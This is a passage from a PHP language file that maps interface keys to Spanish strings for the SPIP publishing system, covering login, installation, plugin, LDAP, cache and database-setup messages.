'info_login_trop_court' => 'Identificador de usuario muy corto.',
'info_login_trop_court_car_pluriel' => 'El identificador de usuario debe contener por lo menos @nb@ caracteres.',
'info_logos' => 'Los logos',
'info_maximum' => 'máximo:',
'info_meme_rubrique' => 'En la misma sección',
'info_message' => 'Mensaje del',
'info_message_efface' => 'Mensaje borrado',
'info_message_en_redaction' => 'Sus mensajes en curso de redacción',
'info_message_technique' => 'Mensaje técnico:',
'info_messagerie_interne' => 'Mensajería interna',
'info_mise_a_niveau_base' => 'actualización de su base SQL',
'info_mise_a_niveau_base_2' => '{{¡ATENCIÓN!}} Ha instalado una versión de los archivos SPIP {anterior} a la que se encontraba antes en este sitio: corre el riesgo de perder la base de datos y que el sitio deje de funcionar.<br />{{Vuelva a instalar los archivos de SPIP.}}',
'info_modification_enregistree' => 'Su modificación fue grabada',
'info_modifier_auteur' => 'Modificar el autor:',
'info_modifier_rubrique' => 'Modificar la sección',
'info_modifier_titre' => 'Modificar @titre@',
'info_mon_site_spip' => 'Mi sitio SPIP',
'info_mot_sans_groupe' => '(Palabras sin grupo...)',
'info_moteur_recherche' => 'Motor de búsqueda integrado',
'info_moyenne' => 'promedio:',
'info_multi_articles' => '¿Activar el menú de idioma en los artículos?',
'info_multi_cet_article' => 'Idioma de este artículo:',
'info_multi_langues_choisies' => 'A continuación seleccione los idiomas que quiera poner a disposición de los redactores de su sitio.
Los idiomas que ya se utilizan en el sitio (al principio de la lista) no pueden ser desactivados.
',
'info_multi_objets' => '@objets@: activar el menú de idioma',
'info_multi_rubriques' => '¿Activar el menú de idioma en las secciones?',
'info_multi_secteurs' => '... sólo para las secciones situadas en la raíz?',
'info_nb_articles' => '@nb@ artículos',
'info_nb_articles_syndiques' => '@nb@ artículos sindicados',
'info_nb_auteurs' => '@nb@ autores',
'info_nb_messages' => '@nb@ mensajes',
'info_nb_mots_cles' => '@nb@ palabras-claves',
'info_nb_rubriques' => '@nb@ secciones',
'info_nb_sites' => '@nb@ sitios',
'info_nb_visiteurs' => '@nb@ visitantes',
'info_nom' => 'Nombre',
'info_nom_destinataire' => 'Nombre del destinatario o destinataria',
'info_nom_pas_conforme' => 'las etiquetas HTML no están permitidas',
'info_nom_site' => 'Nombre de tu sitio',
'info_nombre_articles' => '@nb_articles@ artículos,',
'info_nombre_partcipants' => 'PARTICIPANTES EN LA DISCUSIÓN:',
'info_nombre_rubriques' => '@nb_rubriques@ secciones,',
'info_nombre_sites' => '@nb_sites@ sitios,',
'info_non_deplacer' => 'No desplazar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP puede enviar regularmente la lista de las novedades del sitio (artículos y breves).',
'info_non_envoi_liste_nouveautes' => 'No enviar la lista de novedades',
'info_non_modifiable' => 'no puede ser modificado',
'info_non_suppression_mot_cle' => 'No deseo suprimir esta palabra clave',
'info_note_numero' => 'Nota @numero@',
'info_notes' => 'Notas',
'info_nouveaux_message' => 'Nuevos mensajes',
'info_nouvel_article' => 'Nuevo artículo',
'info_nouvelle_traduction' => 'Nueva traducción:',
'info_numero_article' => 'ARTÍCULO NÚMERO:',
'info_obligatoire_02' => '(obligatorio)',
'info_option_accepter_visiteurs' => 'Aceptar la inscripción de los visitantes del sitio público',
'info_option_faire_suivre' => 'Enviar los mensajes de los foros a los autores de artículos',
'info_option_ne_pas_accepter_visiteurs' => 'Rechazar la inscripción de visitantes',
'info_options_avancees' => 'OPCIONES AVANZADAS',
'info_ortho_activer' => 'Activar el corrector ortográfico',
'info_ortho_desactiver' => 'Desactivar el corrector ortográfico',
'info_ou' => 'o...',
'info_page_interdite' => 'Página no accesible',
'info_par_nom' => 'por nombre',
'info_par_nombre_article' => 'por número de artículos',
'info_par_statut' => 'por estatus',
'info_par_tri' => '’(por @tri@)’',
'info_passe_trop_court' => 'Contraseña demasiado corta',
'info_passe_trop_court_car_pluriel' => 'La contraseña debe contener al menos @nb@ caracteres.',
'info_passes_identiques' => 'Hay diferencias entre las dos contraseñas',
'info_pense_bete_ancien' => 'Tus antiguos recordatorios',
'info_plus_cinq_car' => 'más de 5 caracteres',
'info_plus_cinq_car_2' => '(Más de 5 caracteres)',
'info_plus_trois_car' => '(Más de tres caracteres)',
'info_popularite' => 'Popularidad: @popularite@ Visitas: @visites@',
'info_popularite_4' => 'Popularidad: @popularite@ Visitas: @visites@',
'info_post_scriptum' => 'Post Scríptum',
'info_post_scriptum_2' => 'Post Scríptum:',
'info_pour' => 'para',
'info_preview_admin' => 'Sólo los administradores pueden previsualizar el sitio',
'info_preview_comite' => 'Todos los redactores pueden previsualizar el sitio',
'info_preview_desactive' => 'La previsualización está totalmente desactivada',
'info_preview_texte' => 'Es posible previsualizar el sitio como si todos los artículos y las breves (que tengan al menos el estado «propuesto») estuviesen publicados. Debe esta posibilidad estar disponible sólo para los administradores, para todos los redactores, o para nadie?',
'info_principaux_correspondants' => 'Sus principales corresponsales',
'info_procedez_par_etape' => 'proceda etapa por etapa',
'info_procedure_maj_version' => 'Se debe ejecutar el proceso de actualización de la base de datos a esta nueva versión de SPIP.',
'info_proxy_ok' => 'Test del proxy logrado.',
'info_ps' => 'P.-S.',
'info_publier' => 'publicar',
'info_publies' => 'Sus artículos publicados',
'info_question_accepter_visiteurs' => 'Si en los esqueletos de su sitio está previsto el registro de visitantes sin acceso al espacio privado, tendrá que activar la opción siguiente:',
'info_question_inscription_nouveaux_redacteurs' => '¿Se aceptan inscripciones de nuevas redactoras y redactores
desde el sitio público? Si se aceptan, las personas que visitan el sitio
podrán inscribirse desde un formulario automatizado y accederán entonces
al espacio privado para proponer sus propios artículos. <div class="notice">Durante
la fase de inscripción, reciben un correo electrónico automático que les indica sus
códigos de acceso al sitio privado. Ciertos proveedores de hospedaje desactivan
el envío de correos electrónicos desde sus servidores: en tal caso, se hace
imposible la inscripción automática.</div>',
'info_question_utilisation_moteur_recherche' => '¿Desea utilizar el motor de búsqueda integrado de SPIP? (desactivarlo agiliza el sitio)',
'info_question_vignettes_referer_non' => 'No mostrar las capturas de los sitios de origen de las visitas',
'info_qui_edite' => '@nom_auteur_modif@ ha trabajado en este contenido hace @date_diff@ minutos',
'info_racine_site' => 'Raíz del sitio',
'info_recharger_page' => 'Por favor recargue esta página dentro de un momento',
'info_recherche_auteur_a_affiner' => 'Hay demasiados resultados para "@cherche_auteur@", por favor restrinja los criterios.',
'info_recherche_auteur_ok' => 'Varios autores encontrado para "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'No hay resultados para « @cherche_auteur@ ».',
'info_recommencer' => 'Vuelva a empezar.',
'info_redacteur_1' => 'Redactor/a',
'info_redacteur_2' => 'teniendo acceso al espacio privado (<i>recomendado</i>)',
'info_redacteurs' => 'Redactores/as',
'info_redaction_en_cours' => 'EN CURSO DE REDACCIÓN',
'info_redirection' => 'Redirección',
'info_redirection_activee' => 'La redirección está activada.',
'info_redirection_desactivee' => 'La redirección se ha suprimido.',
'info_refuses' => 'Sus artículos rechazados',
'info_reglage_ldap' => 'Opciones: <b>Ajustes de la importación LDAP</b>',
'info_renvoi_article' => '<b>Redirección.</b> Este artículo reenvía a la página:',
'info_reserve_admin' => 'Sólo el equipo de administración puede modificar esta dirección',
'info_restreindre_rubrique' => 'Limitar la gestión a la sección:',
'info_resultat_recherche' => 'Resultados de la búsqueda:',
'info_rubriques' => 'Secciones',
'info_rubriques_02' => 'secciones',
'info_rubriques_trouvees' => 'Secciones localizadas',
'info_rubriques_trouvees_dans_texte' => 'Secciones localizadas (en el texto)',
'info_sans_titre' => 'Sin título',
'info_selection_chemin_acces' => 'Seleccione el camino de acceso en el anuario',
'info_signatures' => 'firmas',
'info_site' => 'Sitio',
'info_site_2' => 'sitio:',
'info_site_min' => 'sitio',
'info_site_reference_2' => 'Sitio referenciado',
'info_site_web' => 'Sitio Web:',
'info_sites' => 'sitios',
'info_sites_lies_mot' => 'Los sitios referenciados ligados a esta palabra clave',
'info_sites_proxy' => 'Utilizar un proxy',
'info_sites_trouves' => 'Sitios hallados',
'info_sites_trouves_dans_texte' => 'Sitios encontrados (en el texto)',
'info_sous_titre' => 'Subtítulo',
'info_statut_administrateur' => 'Administrador/a',
'info_statut_auteur' => 'Estatus de este autor o autora:',
'info_statut_auteur_2' => 'Soy',
'info_statut_auteur_a_confirmer' => 'Inscripción por confirmar',
'info_statut_auteur_autre' => 'Otro papel:',
'info_statut_efface' => 'Borrado',
'info_statut_redacteur' => 'Redactor/a',
'info_statut_utilisateurs_1' => 'Estatus por defecto de usuarios importados',
'info_statut_utilisateurs_2' => 'Elija el estatus atribuido a las personas presentes en el directorio LDAP cuando se conectan por primera vez. Posteriormente podrá modificar este valor para cada autor en cada caso.',
'info_suivi_activite' => 'Seguimiento de la actividad editorial',
'info_surtitre' => 'Antetítulo:',
'info_syndication_integrale_1' => 'Su sitio propone archivos de sindicación (ver «<a href="@url@">@titre@</a>»).',
'info_syndication_integrale_2' => '¿Desea transmitir íntegramente los artículos, o sólo un resumen compuesto por unos cientos de caracteres?',
'info_table_prefix' => 'Puede modificar el prefijo del nombre de las tablas de datos (es indispensable si se quiere instalar varios sitios en la misma base de datos). Este prefijo debe ser en letras minúsculas, no acentuadas, y sin espacios. ',
'info_taille_maximale_images' => 'SPIP comprobará el tamaño máximo de imagen que puede gestionar (en millones de pixels).<br /> Las imágenes mayores no se reducirán.',
'info_taille_maximale_vignette' => 'Tamaño máximo de los iconos generados por el sistema:',
'info_terminer_installation' => 'Puede terminar ahora el procedimiento de instalación estándar.',
'info_texte' => 'Texto',
'info_texte_explicatif' => 'Texto explicativo',
'info_texte_long' => '(el texto es largo: aparece en varias partes que serán reunidas tras validación)',
'info_texte_message' => 'Texto de su mensaje',
'info_texte_message_02' => 'Texto del mensaje',
'info_titre' => 'Título:',
'info_total' => 'total:',
'info_tous_articles_en_redaction' => 'Todos los artículos en curso de redacción',
'info_tous_articles_presents' => 'Todos los artículos publicados en esta sección',
'info_tous_articles_refuses' => 'Todos los artículos rechazados',
'info_tous_les' => 'todos los:',
'info_tous_redacteurs' => 'Anuncios a todos',
'info_tout_site' => 'Todo el sitio',
'info_tout_site2' => 'El artículo no ha sido traducido a este idioma.',
'info_tout_site3' => 'El artículo ha sido traducido a este idioma, pero posteriormente se han aportado modificaciones al artículo de referencia. La traducción debe ser actualizada.',
'info_tout_site4' => 'El artículo ha sido traducido a este idioma, y la traducción está al día. ',
'info_tout_site5' => 'Artículo original',
'info_tout_site6' => '<b>Atención:</b> sólo se muestran los artículos originales.
Las traducciones están asociadas al original, en un color que indica su estado:',
'info_traductions' => 'Traducciones',
'info_travail_colaboratif' => 'Trabajo colectivo en los artículos',
'info_un_article' => 'un artículo,',
'info_un_site' => 'un sitio,',
'info_une_rubrique' => 'una sección,',
'info_une_rubrique_02' => '1 sección',
'info_url' => 'URL:',
'info_url_proxy' => 'URL del proxy',
'info_url_site' => 'URL del sitio:',
'info_url_site_pas_conforme' => 'la URL del sitio no es válida.',
'info_url_test_proxy' => 'URL de prueba',
'info_urlref' => 'Enlace hipertexto:',
'info_utilisation_spip' => 'Puede comenzar a utilizar el sistema de publicación asistida...',
'info_visites_par_mois' => 'Mostrar por mes:',
'info_visiteur_1' => 'Visitante',
'info_visiteur_2' => 'del sitio público',
'info_visiteurs' => 'Visitantes',
'info_visiteurs_02' => 'Visitantes del sitio público',
'info_webmestre_forces' => 'La lista de webmasters está actualmente definida en <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Dirección de la base de datos asignada por el proveedor del alojamiento',
'install_base_ok' => 'La base @base@ ha sido reconocida',
'install_connect_ok' => 'La nueva base de datos fue declarada con éxito con el nombre de servidor @connect@.',
'install_echec_annonce' => 'La instalación probablemente va a fallar, o creará un sitio que no funcione...',
'install_extension_mbstring' => 'SPIP no funciona con:',
'install_extension_php_obligatoire' => 'SPIP exige instalar la extensión php:',
'install_login_base_hebergeur' => 'Nombre de usuario de conexión asignado por el proveedor del alojamiento',
'install_nom_base_hebergeur' => 'Nombre de la base asignada por el proveedor:',
'install_pas_table' => 'La base no tiene tablas en este momento',
'install_pass_base_hebergeur' => 'Contraseña de conexión asignada por el proveedor',
'install_php_version' => 'PHP versión @version@ insuficiente (mínimo = @minimum@)',
'install_select_langue' => 'Seleccione un idioma y después pulse el botón «siguiente» para iniciar el proceso de instalación.',
'install_select_type_db' => 'Indicar el tipo de base de datos:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servidor de base de datos asignado por tu proveedor',
'install_table_prefix_hebergeur' => 'Prefijo de la tabla asignada por el proveedor:',
'install_tables_base' => 'Tablas de la base',
'install_types_db_connus' => 'SPIP sabe utilizar <b>MySQL</b> (el formato más extendido) y <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'También se propone el soporte para <b>PostgreSQL</b> en modo experimental.',
'instituer_erreur_statut_a_change' => 'El estatus ya ha sido modificado',
'instituer_erreur_statut_non_autorise' => 'No puede elegir este estatus',
'intem_redacteur' => 'redactor/a',
'intitule_licence' => 'Licencia',
'item_accepter_inscriptions' => 'Aceptar las inscripciones',
'item_activer_messages_avertissement' => 'Activar los mensajes de advertencia',
'item_administrateur_2' => 'administrador/a',
'item_afficher_calendrier' => 'Mostrar en el calendario',
'item_autoriser_documents_joints' => 'Autorizar los documentos adjuntos a los artículos',
'item_autoriser_documents_joints_rubriques' => 'Autorizar los documentos en las secciones',
'item_autoriser_syndication_integrale' => 'Difundir íntegramente los artículos en los archivos de sindicación',
'item_choix_administrateurs' => 'los administradores',
'item_choix_generation_miniature' => 'Generar automáticamente las miniaturas de las imágenes',
'item_choix_non_generation_miniature' => 'No generar miniaturas de las imágenes',
'item_choix_redacteurs' => 'los redactores',
'item_choix_visiteurs' => 'los visitantes del sitio público',
'item_creer_fichiers_authent' => 'Crear los archivos «.htpasswd»',
'item_limiter_recherche' => 'Limitar la búsqueda de información contenida en este sitio',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Activar la mensajería y la agenda',
'item_mots_cles_association_articles' => 'a los artículos',
'item_mots_cles_association_rubriques' => 'a las secciones',
'item_mots_cles_association_sites' => 'a los sitios referenciados o sindicados',
'item_non' => 'No',
'item_non_accepter_inscriptions' => 'No aceptar inscripciones',
'item_non_activer_messages_avertissement' => 'Sin mensajes de advertencia',
'item_non_afficher_calendrier' => 'No mostrar en el calendario',
'item_non_autoriser_documents_joints' => 'No autorizar la inclusión de documentos en los artículos',
'item_non_autoriser_documents_joints_rubriques' => 'Impedir la inclusión de documentos en las secciones',
'item_non_autoriser_syndication_integrale' => 'Sólo difundir un resumen',
'item_non_compresseur' => 'Desactivar la compresión',
'item_non_creer_fichiers_authent' => 'No crear esos archivos',
'item_non_gerer_statistiques' => 'No gestionar las estadísticas',
'item_non_limiter_recherche' => 'Buscar en el contenido de los sitios referenciados',
'item_non_messagerie_agenda' => 'Desactivar la mensajería y la agenda',
'item_non_publier_articles' => 'No publicar los artículos antes de la fecha de publicación indicada',
'item_non_utiliser_moteur_recherche' => 'No utilizar el motor',
'item_nouvel_auteur' => 'Nueva autora o autor',
'item_nouvelle_rubrique' => 'Nueva sección',
'item_oui' => 'Sí',
'item_publier_articles' => 'Publicar los artículos sin tener en cuenta la fecha de publicación',
'item_reponse_article' => 'Respuesta al artículo',
'item_utiliser_moteur_recherche' => 'Utilizar el motor de búsqueda',
'item_version_html_max_html4' => 'Limitarse al HTML4 en el sitio público',
'item_version_html_max_html5' => 'Permitir el HTML5',
'item_visiteur' => 'visitante',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'Barra de herramientas',
'label_bando_outils_afficher' => 'Mostrar herramientas',
'label_bando_outils_masquer' => 'Ocultar herramientas',
'label_choix_langue' => 'Seleccione su idioma',
'label_nom_fichier_connect' => 'Indica el nombre utilizado para este servidor',
'label_slogan_site' => 'Eslogan del sitio',
'label_taille_ecran' => 'Ancho de pantalla',
'label_texte_et_icones_navigation' => 'Menú de navegación',
'label_texte_et_icones_page' => 'Aparencia en la página',
'ldap_correspondance' => 'herencia del campo @champ@',
'ldap_correspondance_1' => 'Herencia de los campos LDAP',
'ldap_correspondance_2' => 'Por cada uno de los campos SPIP siguientes, indicar el nombre del campo LDAP correspondiente. Dejar vacío para no indicar ninguno, y separar con espacios o comas para que se prueben varios campos LDAP.',
'lien_ajout_destinataire' => 'Añadir este destinatario',
'lien_ajouter_auteur' => 'Añadir este autor',
'lien_ajouter_participant' => 'Añadir un participante',
'lien_ajouter_une_rubrique' => 'Añadir esta sección',
'lien_email' => 'correo electrónico',
'lien_nom_site' => 'NOMBRE DEL SITIO:',
'lien_retirer_auteur' => 'Retirar el autor',
'lien_retirer_rubrique' => 'Retirar la sección',
'lien_retirer_tous_auteurs' => 'Quitar todos los autores',
'lien_retirer_toutes_rubriques' => 'Retirar todas las secciones',
'lien_retrait_particpant' => 'Retirar este/esta participante',
'lien_site' => 'sitio',
'lien_supprimer_rubrique' => 'suprimir esta sección',
'lien_tout_deplier' => 'Desplegar todo',
'lien_tout_replier' => 'Replegar todo',
'lien_tout_supprimer' => 'Suprimir todo',
'lien_trier_nom' => 'Ordenar por nombre',
'lien_trier_nombre_articles' => 'Ordenar por número de artículos',
'lien_trier_statut' => 'Ordenar por estatus',
'lien_voir_en_ligne' => 'VER LA LÍNEA:',
'logo_article' => 'Logotipo del artículo',
'logo_auteur' => 'Logotipo del autor',
'logo_rubrique' => 'Logotipo de la sección',
'logo_site' => 'Logotipo del sitio',
'logo_standard_rubrique' => 'Logotipo estándar de las secciones',
'logo_survol' => 'Logotipo paso del ratón',
// M
'menu_aide_installation_choix_base' => 'Elección de su base',
'module_fichier_langue' => 'Archivo de idioma',
'module_raccourci' => 'Acceso directo',
'module_texte_affiche' => 'Texto mostrado',
'module_texte_explicatif' => 'Puede insertar los siguientes accesos directos en los esqueletos de su sitio público. Serán traducidos automáticamente en los diferentes idiomas para los que existe un archivo de idioma.',
'module_texte_traduction' => 'El archivo de idioma « @module@ » está disponible en:',
'mois_non_connu' => 'desconocido',
// N
'nouvelle_version_spip' => 'La versión @version@ de SPIP está disponible',
// O
'onglet_contenu' => 'Contenido',
'onglet_declarer_une_autre_base' => 'Declarar otra base',
'onglet_discuter' => 'Discutir',
'onglet_documents' => 'Documentos',
'onglet_interactivite' => 'Interactividad',
'onglet_proprietes' => 'Propriedades',
'onglet_repartition_actuelle' => 'actualmente',
'onglet_sous_rubriques' => 'Subsecciones',
// P
'page_pas_proxy' => 'Esta página no debe pasar por el proxy',
'pas_de_proxy_pour' => 'Si fuera el caso, indica los servidores o dominios para los cuales este proxy no debe aplicarse. (por ejemplo: @exemple@)',
'plugin_charge_paquet' => 'Carga del paquete @name@',
'plugin_charger' => 'Descargar',
'plugin_erreur_charger' => 'error: no es posible cargar @zip@',
'plugin_erreur_droit1' => 'La carpeta <code>@dest@</code> no es accesible en modo escritura.',
'plugin_erreur_droit2' => 'Tendrás que verificar los derechos en esta carpeta (o crearla si es el caso), o instalar los archivos por FTP.',
'plugin_erreur_zip' => 'fallo de pclzip: error @status@',
'plugin_etat_developpement' => 'en desarrollo',
'plugin_etat_experimental' => 'experimental',
'plugin_etat_stable' => 'estable',
'plugin_etat_test' => 'en prueba',
'plugin_impossible_activer' => 'Imposible activar el plugin @plugin@',
'plugin_info_automatique1' => 'Si quiere autorizar la instalación automática de los plugins, ha de:',
'plugin_info_automatique1_lib' => 'Si desea autorizar la instalación automática de esta librería, consulte:',
'plugin_info_automatique2' => 'crear una carpeta <code>@rep@</code> ;',
'plugin_info_automatique3' => 'verificar que el servidor tiene permiso para escribir en esa carpeta.',
'plugin_info_automatique_creer' => 'que hay que crear en la raíz del sitio.',
'plugin_info_automatique_exemples' => 'ejemplos:',
'plugin_info_automatique_ftp' => 'Puede instalar plugins, por FTP, en la carpeta <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Ciertos plugins también requieren que se pueda descargar archivos a la carpeta <code>lib/</code>, que habrá que crear, si es el caso, en la raíz del sitio.',
'plugin_info_automatique_liste' => 'Sus listas de plugins:',
'plugin_info_automatique_liste_officielle' => 'los plugins oficiales',
'plugin_info_automatique_liste_update' => 'Actualizar las listas',
'plugin_info_automatique_ou' => 'o...',
'plugin_info_automatique_select' => 'Seleccione un plugin de aquí: SPIP lo descargará y lo instalará en la carpeta <code>@rep@</code>; si el plugin ya existe, se actualizará.',
'plugin_info_credit' => 'Créditos',
'plugin_info_erreur_xml' => 'La declaración de este plugin es incorrecta',
'plugin_info_install_ok' => 'Instalación exitosa',
'plugin_info_necessite' => 'Necesita:',
'plugin_info_non_compatible_spip' => 'Este plugin no es compatible con esta versión de SPIP',
'plugin_info_plugins_dist_1' => 'Las plugins siguientes se cargan y se activan en la carpeta @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'No pueden desactivarse.',
'plugin_info_telecharger' => 'se descargará de @url@ y se instalará en @rep@',
'plugin_info_upgrade_ok' => 'Actualización exitosa',
'plugin_librairies_installees' => 'Bibliotecas instaladas',
'plugin_necessite_lib' => 'Este plugin necesita la biblioteca @lib@',
'plugin_necessite_plugin' => 'Necesita el plugin @plugin@ con versión @version@ por lo menos.',
'plugin_necessite_plugin_sans_version' => 'Necesita el plugin @plugin@',
'plugin_necessite_spip' => 'Necesita como mínimo un SPIP de versión @version@.',
'plugin_source' => 'fuente: ',
'plugin_titre_automatique' => 'Instalación automática',
'plugin_titre_automatique_ajouter' => 'Añadir plugins',
'plugin_titre_installation' => 'Instalación del plugin @plugin@',
'plugin_titre_modifier' => 'Mis plugins',
'plugin_zip_active' => 'Continúe para activarlo',
'plugin_zip_adresse' => 'indique aquí la dirección de un archivo zip de plugin a descargar, o también la dirección de una lista de plugins.',
'plugin_zip_adresse_champ' => 'Dirección del plugin o de la lista ',
'plugin_zip_content' => 'Contiene los siguientes archivos (@taille@),<br />que se instalarán en la carpeta <code>@rep@</code>',
'plugin_zip_installe_finie' => 'El archivo @zip@ se ha descomprimido e instalado.',
'plugin_zip_installe_rep_finie' => 'El archivo @zip@ se ha descomprimido y se ha instalado en la carpeta @rep@',
'plugin_zip_installer' => 'Ahora puede instalarlo.',
'plugin_zip_telecharge' => 'Se ha descargado el archivo @zip@',
'plugins_actif_aucun' => 'Ningún plugin activado.',
'plugins_actif_un' => 'Un plugin activado.',
'plugins_actifs' => '@count@ plugins activados.',
'plugins_actifs_liste' => 'Activos',
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'Un plugin disponible.',
'plugins_disponibles' => '@count@ plugins disponibles.',
'plugins_erreur' => 'Error en los plugins: @plugins@',
'plugins_liste' => 'Lista de plugins',
'plugins_liste_dist' => 'Plugins cerrados',
'plugins_recents' => 'Plugins recientes.',
'plugins_tous_liste' => 'Todos',
'plugins_vue_hierarchie' => 'Jerarquía',
'plugins_vue_liste' => 'Lista',
'protocole_ldap' => 'Versión del protocolo:',
// Q
'queue_executer_maintenant' => 'Ejecutar ahora',
'queue_info_purger' => 'Puede eliminar todos los trabajos pendientes y reinicializar la lista con los trabajos periódicos',
'queue_nb_jobs_in_queue' => '@nb@ trabajos en espera',
'queue_next_job_in_nb_sec' => 'Próximo trabajo en @nb@ s',
'queue_no_job_in_queue' => 'Ningún trabajo en espera',
'queue_one_job_in_queue' => '1 trabajo en espera',
'queue_purger_queue' => 'Purgar la lista de trabajos',
'queue_titre' => 'Lista de trabajos',
// R
'repertoire_plugins' => 'Carpeta:',
// S
'sans_heure' => 'sin hora',
'statut_admin_restreint' => 'administrador restringido',
'statut_webmestre' => 'webmaster',
// T
'tache_cron_asap' => 'Tarea CRON @function@ (ASAP)',
'tache_cron_secondes' => 'Tarea CRON @function@ (cada @nb@ s)',
'taille_cache_image' => 'Las imágenes calculadas automáticamente por SPIP (miniaturas de documentos, títulos presentados en forma gráfica, fórmulas matemáticas en formato TeX...) ocupan en el directorio @dir@ un total de @taille@.',
'taille_cache_infinie' => 'En este sitio no se limita el tamaño de la carpeta de cache.',
'taille_cache_maxi' => 'SPIP intenta limitar el tamaño de la carpeta de cache de este sitio a unos <b>@octets@</b> de datos.',
'taille_cache_moins_de' => 'El tamaño de la cache es menor a @octets@.',
'taille_cache_octets' => 'El tamaño de la caché es actualmente de @octets@.',
'taille_cache_vide' => 'La cache está vacía.',
'taille_repertoire_cache' => 'Tamaño de la carpeta cache',
'text_article_propose_publication' => 'Artículo propuesto para su publicación.',
'texte_acces_ldap_anonyme_1' => 'Algunos servidores LDAP no aceptan accesos anónimos. En ese caso debe especificar un identificador de acceso inicial para poder luego buscar información en el directorio. En la mayoría de los casos los campos siguientes pueden estar vacíos.',
'texte_admin_effacer_01' => 'Este comando borra <i>TODO</i> el contenido de la base de datos, e incluye <i>todos</i> los accesos redactores y administradores. Después de ejecutarlo tendrá que volver a instalar SPIP, creando una nueva base al igual que un primer acceso de administración.',
'texte_adresse_annuaire_1' => '(Si su carpeta está instalada en la misma máquina que el sitio Web, se trata probablemente de "localhost").',
'texte_ajout_auteur' => 'El siguiente autor ha sido añadido al artículo:',
'texte_annuaire_ldap_1' => 'Si tiene un acceso a un directorio (LDAP), puede utilizarlo para importar automáticamente usuarios de SPIP.',
'texte_article_statut' => 'Este artículo está:',
'texte_article_virtuel' => 'Artículo virtual',
'texte_article_virtuel_reference' => '<b>Artículo virtual:</b> Artículo referenciado en su sitio SPIP, pero redirigido hacia otra URL. Para eliminar la redirección, borre la URL .',
'texte_aucun_resultat_auteur' => 'Ningún resultado por "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Este sitio puede indicarle permanentemente la lista de personas conectadas, lo que permite intercambiar mensajes en directo. Además, puede decidir no aparecer en la lista (figura como «invisible» para los otros usuarios).',
'texte_auteur_messagerie_1' => 'En este sitio, SPIP permite intercambiar mensajes y realizar foros privados entre los participantes. Puede participar o no en estos intercambios.',
'texte_auteurs' => 'LOS AUTORES',
'texte_choix_base_1' => 'Eleja la base:',
'texte_choix_base_2' => 'El servidor SQL contiene varias bases de datos.',
'texte_choix_base_3' => '<b>Seleccione</b> aquí la que te fue atribuída por tu proveedor de hospedaje:',
'texte_choix_table_prefix' => 'Prefijo de las tablas:',
'texte_commande_vider_tables_indexation' => 'Utilice este comando para vaciar las tablas de indexación del motor de búsqueda integrado de SPIP. Permite ganar espacio en el disco.',
'texte_compatibilite_html' => 'Puede elegir si quiere que SPIP produzca, en el sitio público, un código compatible con la norma <i>HTML4</i>, o si prefiere usar las posibilidades más modernas de <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'No hay ningún riesgo en activar la opción <i>HTML5</i>, pero entonces las páginas de su sitio tienen que empezar por la mención siguiente (para ser válidas): <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(comprimido o no)',
'texte_compte_element' => '@count@ elemento',
'texte_compte_elements' => '@count@ elementos',
'texte_conflit_edition_correction' => 'Por favor revise aquí debajo las diferencias entre las dos versiones del texto; también podrá copiar sus modificaciones, y luego volver a empezar.',
'texte_connexion_mysql' => 'Consulte la información facilitada por su hospedaje: ahí debería encontrar el nombre del servidor de base de datos que le ofrece y las claves e identificador para conectarse.',
'texte_contenu_article' => '(Contenido del artículo en pocas palabras)',
'texte_contenu_articles' => 'Según el diseño de su sitio, puede decidir que algunos elementos de los artículos no sean utilizados. Utilice la siguiente lista para indicar qué elementos están disponibles.',
'texte_crash_base' => 'Si su base de datos ha fallado, puede intentar una reparación automática. ',
'texte_creer_rubrique' => 'Antes de poder escribir artículos,<br /> debe crear una sección.',
'texte_date_creation_article' => 'FECHA DE CREACIÓN DEL ARTÍCULO:',
'texte_date_creation_objet' => 'Fecha de creación:', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Fecha de redacción anterior:',
'texte_date_publication_anterieure_nonaffichee' => 'No mostrar fecha de redacción anterior.',
'texte_date_publication_article' => 'FECHA DE PUBLICACIÓN EN LÍNEA:',
'texte_date_publication_objet' => 'Fecha de publicación en línea:',
'texte_descriptif_petition' => 'Descripción de la petición',
'texte_descriptif_rapide' => 'Descripción rápida',
'texte_effacer_base' => 'Borrar la base de datos SPIP',
'texte_effacer_donnees_indexation' => 'Borrar los datos de indexación',
'texte_effacer_statistiques' => 'Borrar las estadísticas',
'texte_en_cours_validation' => 'Los contenidos a continuación están a la espera de validación.',
'texte_enrichir_mise_a_jour' => 'Puedes enriquecer el formato de tu texto utilizando "atajos tipográficos"',
'texte_fichier_authent' => '<b>¿Debe SPIP crear los archivos especiales <tt>.htpasswd</tt>
y <tt>.htpasswd-admin</tt> en la carpeta @dossier@?</b><p>
Estos archivos pueden servir para restringir el acceso a los autores y administradores en otros lugares de su sitio (programa externo de estadísticas, por ejemplo).<p>
Si no le ve utilidad, puede dejar esta opción con su valor por defecto (no crear los archivos).</p>',
'texte_informations_personnelles_1' => 'El sistema va a crear ahora un acceso personalizado al sitio.',
'texte_informations_personnelles_2' => '(Nota: si se trata de una reinstalación, y su acceso todavía funciona, puede ',
'texte_introductif_article' => '(Introducción del artículo)',
'texte_jeu_caractere' => 'Se aconseja emplear para el sitio el alfabeto universal <tt>utf-8</tt>): permite visualizar textos en todos los idiomas, y ya no plantea problemas de compatibilidad con navegadores modernos.',
'texte_jeu_caractere_2' => 'Cuidado: este parámetro no provoca la conversión de textos ya ingresados en la base de datos. ',
'texte_jeu_caractere_3' => 'Su sitio está actualmente instalado en el juego de caracteres:',
'texte_jeu_caractere_4' => 'Si no corresponde a la realidad de Sus datos (por ejemplo, después de una restauración de base de datos), o si <em>empieza este sitio</em> y desea hacerlo con otro juego de caracteres, indíquelo aquí:',
